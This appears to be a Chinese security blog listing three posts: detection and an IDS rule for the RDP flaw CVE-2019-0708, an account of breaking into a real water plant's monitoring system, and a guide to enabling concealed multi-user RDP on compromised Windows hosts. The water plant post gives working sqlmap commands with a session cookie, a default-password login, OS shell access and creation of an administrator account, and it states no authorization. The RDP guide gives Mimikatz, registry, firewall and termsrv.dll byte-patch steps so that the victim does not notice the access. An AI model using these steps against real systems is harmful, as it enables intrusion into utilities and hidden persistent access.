about 3 results (0.02 seconds)

CVE-2019-0708:Windows RDP远程代码执行漏洞检测与防御

by LauCyun May 15 23:09:33 13,377 views

昨晚,微软紧急发布修复布丁,修复RDP服务漏洞。据称此漏洞堪比Wannacry。

远程桌面协议(RDP, Remote Desktop Protocol)是一个多通道(multi-channel)的协议,让用户(客户端或称“本地电脑”)连上提供微软终端机服务的电脑(服务器端或称“远程电脑”)。大部分的Windows都有客户端所需软件。

还记得当年被Wannacry支配的恐惧吗?电脑被加密,文件被加密,医院、公司、政府机构的电脑通通中招,整个世界都被Wannacry席卷。


图1 Wannacry勒索病毒

据统计,在全球范围内对互联网开放RDP服务的资产数量多达16,192,667台,其中归属中国大陆地区的受影响资产数量为7,932,549台。具体数据如下图:


图2 RDP服务资产统计

0x0 漏洞描述

当未经身份验证的攻击者使用RDP连接到目标系统并发送经特殊设计的请求时,远程桌面服务(以前称为“终端服务”)中存在远程执行代码漏洞。此漏洞是预身份验证,无需用户交互。成功利用此漏洞的攻击者可以在目标系统上执行任意代码。攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。

若要利用此漏洞,攻击者需要通过RDP向目标系统远程桌面服务发送经特殊设计的请求。

微软官方公告:https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-0708

0x1 影响范围

受影响该漏洞的操作系统有:

  • Windows XP
  • Windows Server 2003
  • Windows 7
  • Windows Server 2008 R2
  • Windows Server 2008

Windows 8和Windows 10及之后版本的用户不受此漏洞影响。

0x2 检测

介绍一下检测环境,环境如下:

  • 靶机1: 
    • 系统:Windows XP SP3 x86
    • IP:192.168.0.185
  • 靶机2:
    • 系统:Windows 7 x64
    • IP:192.168.0.185
  • 攻击机:
    • 系统:Kali Linux
    • IP:192.168.0.5

推荐使用@zerosum0x0大神的poc,原理详见:https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rdp-stands-for-really-do-patch-understanding-the-wormable-rdp-vulnerability-cve-2019-0708/

首先,执行以下命令安装依赖库:

apt-get install -y make gcc g++ autoconf libssl-dev pkg-config git

接着,执行以下命令进行编译:

git clone https://github.com/zerosum0x0/CVE-2019-0708.git
cd CVE-2019-0708/rdesktop-fork-bd6aa6acddf0ba640a49834807872f4cc0d0a773/
./bootstrap
./configure --disable-credssp --disable-smartcard
make

OK,在当前目录产生rdesktop文件,执行它即可检测。


图3 检测结果

如图3所示,第三次是已经安装了补丁的情况下检测。

0x3 修复建议

1、及时安装更新

目前,微软已经发布针对该漏洞的补丁,请使用上述受影响的操作系统用户及时更新,受影响操作系统对应的补丁编号如下表:

操作系统版本 补丁编号
Windows 7 x86 KB4499175
Windows 7 x64 KB4499175
Windows Embedded Standard 7 for x86 KB4499175
Windows Embedded Standard 7 for x64 KB4499175
Windows Server 2008 Itanium KB4499180
Windows Server 2008 x86 KB4499180
Windows Server 2008 x64 KB4499180
Windows Server 2008 R2 Itanium KB4499175
Windows Server 2008 R2 x64 KB4499175
Windows Server 2003 KB4500331
Windows Server 2003 x64 KB4500331
Windows XP SP2 for x64 KB4500331
Windows XP SP3 for XPe KB4500331
Windows XP SP3 KB4500331
WES09 and POSReady 2009 for x86 KB4500331

2、临时解决建议

若暂不方便安装补丁更新,可采取下列临时防护措施,对此漏洞进行防护。

  • 禁用远程桌面服务;
  • 在防火墙中对远程桌面服务端口(3389)进行阻断;
  • 在Windows 7、Windows Server 2008、Windows Server 2008 R2 上启用网络身份认证。

0x4 防御

如果您有IPS、IDS或防火墙相关产品,可以使用如下规则进行阻断或检测:

# Look for the potential signs of CVE-2019-0708, pre encryption.
#
# Note this rule is specific to port 3389, but could be expanded
# using flowbits to other ports if an earlier packet is used for
# protocol detection, or potentially a string detection on 'Duca'
# (see https://wiki.wireshark.org/RDP).
#
# Sensible values for distances between objects have been chosen.
# An exploit could potentially change the reserved byte (second 
# in the packet) or pad the TPKT structure with junk to avoid the
# 'within' optimisations.
#
# 03 00                - TPKT header: version 3, reserved byte 0
#                        Must be at the beginning of the packet
# 02 f0                - X.224 COTP: length 2, PDU type 0x0f (DT_DATA)
# 00 05 00 14 7c 00 01 - T.124 Connect data, Generic Conference Control (ID 0.0.20.124.0.1)
#                        PDU size ranges from 230-400 bytes, 256 skipped in the rule
# 03 c0                - RDP Client Network Data
#                        Skip the header length and channel count (6 bytes)
# MS_T120 (C string)   - Name of patched control channel
#                        Must be within 372 bytes (31 channels * 12 bytes per channel)
alert tcp any any -> any 3389 (msg:"NCC GROUP RDP connection setup with MS_T120 channel, potential CVE-2019-0708"; flow:to_server,established; content:"|03 00|"; offset:0; depth:2; content:"|02 f0|"; distance:2; within:2; content:"|00 05 00 14 7c 00 01|"; within:512; content:"|03 c0|"; distance:3; within:384; content:"MS_T120|00|"; distance:6; within:372; threshold: type limit, track by_src, count 2, seconds 600; classtype:bad-unknown; reference:url,portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708; sid:190708; rev:1;)

0x5 参考

...

Tags Read More..


记一次对内蒙古某市某水厂监控系统的渗透测试过程

by LauCyun Sep 29,2018 15:52:45 20,766 views

最近,在协助内蒙某院收集内蒙全境的工控设备信息,在一次收集的时候,发现某市某水厂的监控系统存在弱口令问题,从而展开本次的渗透测试工作。

本文将介绍如何利用SQL注入点拿到服务器的Shell,然后通过远程桌面远程进入服务器的渗透过程。

0x0 背景

目标:http://*.*.*.*:8080(防止被他人利用,打上万恶的马赛克Face with Stuck-Out Tongue and Closed EyesFace with Hand over Mouth

通过程序自动挖掘发现http://*.*.*.*:8080存在弱口令,如图1所示:


图1 登录界面

用户名是admin,密码也是admin

进入系统后,可以直观的看到该水厂的水源井、水厂的工作现场运行状态,如图2、图3所示:


图2 水源井的模拟现场


图3 水厂的模拟现场

也可以看到仪表、GPRS、PLC等设备信息及通讯通道信息。。。如图4所示:


图4 通讯通道信息

好了,开始我们的正题吧,随便点击就发现一个疑似SQL注入点,如下所示:

http://*.*.*.*:8080/map/mapshow1.aspx?id=1

0x1 验证SQL注入点

接着,使用SQLMap对疑似注入点进行测试,输入如下命令:

python sqlmap.py -u "http://*.*.*.*:8080/map/mapshow1.aspx?id=1" --cookie "LoginUserName=admin; ChinaName=管理员; ASP.NET_SessionId=smgjif450cenxrr3iczfnuqd"


图5 SQL注入点

测试完毕后,如图5所示,SQLMap提示GET中的id参数存在注入,并且有4种注入方式,分别是基于布尔的盲注(boolean-based blind)、基于报错注入(error-based)、堆查询注入(stacked queries)和联合查询注入(UNION query)。

同时也得知以下信息:

数据库版本:Microsoft SQL Server 2008

中间件版本:Microsoft IIS 7.5

服务器版本:Windows 2008 R2 or 7

生产环境:ASP.NET, ASP.NET 2.0.50727

0x2 列举数据库

如图5所示,SQLMap验证了该SQL注入点确实存在,那么我们先列出所有的数据库,运行如下命令:

python sqlmap.py -u "http://*.*.*.*:8080/map/mapshow1.aspx?id=1" --cookie "LoginUserName=admin; ChinaName=管理员; ASP.NET_SessionId=smgjif450cenxrr3iczfnuqd" --dbs

如图6所示,共有7个数据库,其中mastermodeltempdbmsdb是SQL Server的默认数据库。


图6 有效的数据库

通过--current-db也确认了数据库TSLL2016是我们感兴趣的点。。。

接着,需要知道数据库TSLL2016中都有哪些表,为了弄清这些信息,运行如下命令:

python sqlmap.py -u "http://*.*.*.*:8080/map/mapshow1.aspx?id=1" --cookie "LoginUserName=admin; ChinaName=管理员; ASP.NET_SessionId=smgjif450cenxrr3iczfnuqd" -D TSLL2016 --tables

发现这个数据库有43张表,如图7所示:


图7 数据库表

显而易见,有用的地方主要在表S_User中,这张表中可能包含着数据库的用户名和密码之类的信息。。。

但是,读取数据库TSLL2016中表S_User的数据后,并没啥用SkullSkullSkull

0x3 Get Shell

首先,确定一下当前用户是否是DBA权限,运行如下命令:

python sqlmap.py -u "http://*.*.*.*:8080/map/mapshow1.aspx?id=1" --cookie "LoginUserName=admin; ChinaName=管理员; ASP.NET_SessionId=smgjif450cenxrr3iczfnuqd" -D TSLL2016 --is-dba

Victory HandHundred Points当前用户是DBA权限,运行结果如图8所示:


图8 判断是否为DBA

接下来,运行如下命令:

python sqlmap.py -u "http://*.*.*.*:8080/map/mapshow1.aspx?id=1" --cookie "LoginUserName=admin; ChinaName=管理员; ASP.NET_SessionId=smgjif450cenxrr3iczfnuqd" -D TSLL2016 --os-shell

如图9所示:


图9 运行os-shell

本来想往服务器写入shell,但是写入失败了。。。

接着,尝试着新建用户,如图10所示:


图10 新建用户并提权

哈哈哈。。。说明该数据库运行的权限非常大啊。。。连创建用户和提权至administrators权限都一气呵成Cat Face with Tears of JoyCat Face with Tears of JoyCat Face with Tears of Joy

接着,查询远程桌面服务是否开启,结果它已开启。

如果未开启可参考:实现Windows系统(非服务器版)多用户登录远程桌面的方案

通过nmap也可验证,3389端口是否可达,如图11所示:


图11 开放端口情况

然后通过远程桌面,连接到服务器上,如图12所示:


图12 远程桌面

擦,难怪写入shell失败啊,原来是装了电脑管家啊Broken HeartBroken HeartBroken Heart

好吧,渗透就到这为止吧,写我的渗透报告去了,同时祝大家国庆节快乐Red HeartRed HeartRed Heart

下回再见,拜拜Waving HandWaving HandWaving Hand

0x4 参考

...

Tags Read More..


实现Windows系统(非服务器版)多用户登录远程桌面的方案

by LauCyun Jun 28,2018 16:30:23 68,474 views

在渗透测试中,经常会接触Windows服务器的远程桌面服务,通过界面对服务器进行管理。而对于普通的Windows系统,在某些条件下也需要进行界面操作。

虽然我们可以通过编写程序来实现界面操作(捕获桌面信息、压缩传输、发送鼠标键盘消息等),但是如果能够使用远程桌面服务,岂不是更加方便高效。本文将分析Windows系统(非服务器版)多用户登录远程桌面的解决方案。

本文中涉及Kali Linux的Metasploit操作靶机,都是基于攻击机利用MS17-010漏洞渗透进靶机。

0x00 实验环境

攻击机:

  • 系统:Kali Linux
  • IP地址:192.168.0.112
  • 工具:
    • Metasploit
    • nmap

靶机:

  • 系统:Windows 7 sp1 x64
  • IP地址:192.168.0.152

工具:

0x01 如何开启远程桌面服务

1 查询远程桌面服务开启状态

查询系统是否开启远程桌面服务,命令如下:

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

执行结果如图1所示:


图1 远程桌面服务状态

如果fDenyTSConnections的值为0x1则表示关闭;0x0表示开启。

2 查询远程桌面服务端口号

查询远程桌面服务端口号,命令如下:

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber

查询结果如图2所示:


图2 远程桌面服务端口号

端口格式为16进制,0xd3d转换为十进制是3389

3 开启远程桌面服务

如果远程桌面服务关闭的话,则需要开启,命令如下:

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f

或者,通过导入reg文件(导入命令为regedit /s 1.reg),文件内容如下:

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"fDenyTSConnections"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
"PortNumber"=dword:00000d3d

执行结果如图3所示:


图3 开启远程桌面服务

如果系统未配置过远程桌面服务,第一次开启时还需要添加防火墙规则允许3389端口,如图4所示:


图4 启用远程桌面Windows防火墙例外

修改防火墙配置,允许3389端口的命令如下:

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

4 远程桌面连接方法

  • Kali Linux:
    rdesktop 192.168.0.152:3389
    
  • Windows:
    mstsc.exe

0x02 Windows只允许单用户登录(非服务器版本)

远程登录时,如果使用与系统相同的登录账户(Administrator),系统将被切换到登录界面,如图5所示:


图5 系统将被切换到登录界面

如果使用不同的账户,登录时则提示其他用户已登录到此计算机,如6所示:


图6 登录提示

选择继续后,系统桌面将弹框提示是否断开当前连接(30秒后默认选择同意,退回到登录界面),如图7所示:


图7 系统连接确认界面

这种现象在渗透测试中肯定是很容易被电脑使用者发现,所以就要解决这个问题。

0x03 Windows 多用户登录的方法(非服务器版本)

为了解决Windows非服务器版系统多用户同时登录的问题,下面给出了3种方法:方法1和方法2都是修改termsrv.dll;方法3是通过注入rdpwrap.dlltermsrv.dll所在进程。

1  Mimikatz

Mimikatz是由C编写的开源小工具,功能非常强大。它支持从Windows系统内存中提取明文密码、哈希、PIN码和Kerberos凭证,以及pass-the-hash、pass-the-ticket、build Golden tickets等数种黑客技术。

Mimikatz分为x64和Win32两个版本,x64最高支持Windows 10 1083,Win32最高支持Windows 8.1。

直接通过运行命令即可安装补丁,命令如下:

privilege::debug
ts::multirdp

如图8所示就表示安装成功。


图8 安装Mimikatz补丁

使用不同的账户(hacker)即可登录成功,如图9所示:


图9 多用户登录成功

不足之处,该方法在系统重启后会失效。

2 修改termsrv.dll

上面,通过Mimikatz安装补丁的方法在系统重启后就失效,那有啥方法使其重启依然有效呢?

通过查看Mimikatz的源码,在modules/kuhl_m_ts.c中找到修改方法:

由于Windows在开启远程桌面服务服务时,会加载termsrv.dll,如下图10所示:


图10 加载的termsrv.dll

所以,通过修改termsrv.dll即可实现多用户登录,具体操作如下:

  • x64
    • Windows NT 6.0:
      查找:
      8B 81 38 06 00 00 39 81 3C 06 00 00 75
      替换为:
      C7 81 3C 06 00 00 FF FF FF 7F 90 90 EB
    • Windows NT 6.x:
      查找:
      39 87 3C 06 00 00 0F 84
      替换为:
      C7 87 3C 06 00 00 FF FF FF 7F 90 90 
    • Windows 8.1:
      查找:
      39 81 3C 06 00 00 0F 84
      替换为:
      C7 81 3C 06 00 00 FF FF FF 7F 90 90 
    • Windows 10 1803:
      查找:
      8B 99 3C 06 00 00 8B B9 38 06 00 00 3B DF 0F 84
      替换为:
      C7 81 3C 06 00 00 FF FF FF 7F 90 90 90 90 90 E9
  • x86

上面Windows NT对应的系统版本,请参考:https://en.wikipedia.org/wiki/Microsoft_Windows#Timeline_of_releases

接着,使用CFF Explorer打开C:\windows\system32\termsrv.dll,选择Hex Editor,然后查找39873C0600000F84,如图11所示:


图11 CFF Explorer查找39873C0600000F84

从图11得知,0x000173C6即为39873C0600000F84的起始位置。

0x000173C6处开始,选中12字节,替换为C7873C060000FFFFFF7F9090,替换后保存dll。如图12所示:


图12 修改termsrv.dll

接着,替换termsrv.dll(需要先停止远程桌面服务才能替换),替换termsrv.dll后,重新开启服务TermService。过程如下:

  • 查看远程桌面服务服务状态:
    sc qc TermService
    
  • 如果远程桌面服务服务启动,则需要先关闭:
    net stop TermService /y
    
  • 删除原termsrv.dll
    del c:\windows\system32\termsrv.dll
    
  • 替换新termsrv.dll
  • 启动服务
    net start TermService
    

Ok,通过修改termsrv.dll的方法,重启后也依然有效。

但是,这种方法比较麻烦,而且每个版本修改termsrv.dll的位置和内容都不一样。

3  RDPWrap

RDPWrap是恢复远程桌面服务被阉割的功能,  适用于Windows Vista 、7、8、8.1、10 。官方的介绍如下:

The goal of this project is to enable Remote Desktop Host support and concurrent RDP sessions on reduced functionality systems for home usage.

RDP Wrapper works as a layer between Service Control Manager and Terminal Services, so the original termsrv.dll file remains untouched. Also this method is very strong against Windows Update.

在kali中解压RDPWrap-v1.6.2.zip,其中解压后的文件有:

File name Description
RDPWInst.exe RDP Wrapper Library installer/uninstaller
RDPCheck.exe Local RDP Checker (you can check the RDP is working)
RDPConf.exe RDP Wrapper Configuration
install.bat Quick install batch file
uninstall.bat Quick uninstall batch file
update.bat Quick update batch file

将解压后的文件上传到靶机中,如图13所示:


图13 上传RDPWrap至靶机

接着,就是运行install.bat进行安装RDPWrap,如图14所示:


图14 安装RDPWrap

释放rdpwrap.dllrdpwrap.iniC:\Program Files\RDP Wrapper文件夹,rdpwrap.dll会被加载到同termsrv.dll相同的进程,如图15所示:


图15 rdpwrap.dll会被加载到termsrv.dll相同的进程

同样也可以在靶机中,运行RDPConfig.exe,看到Diagnostics后面都是绿色的,并且Listener state是Listening [fully supported],如图16所示:


图16 RDPWrap配置信息

此时,能够使用不同用户进行远程连接。

0x04 总结

本文介绍了三种支持远程桌面多用户登录的方法,适用于不同条件,对于替换termsrv.dll的方法,需要根据系统具体版本,使用不同的替换位置。最方便、最快捷的方法是安装RDPWrap。

0x05 参考

...

Tags Read More..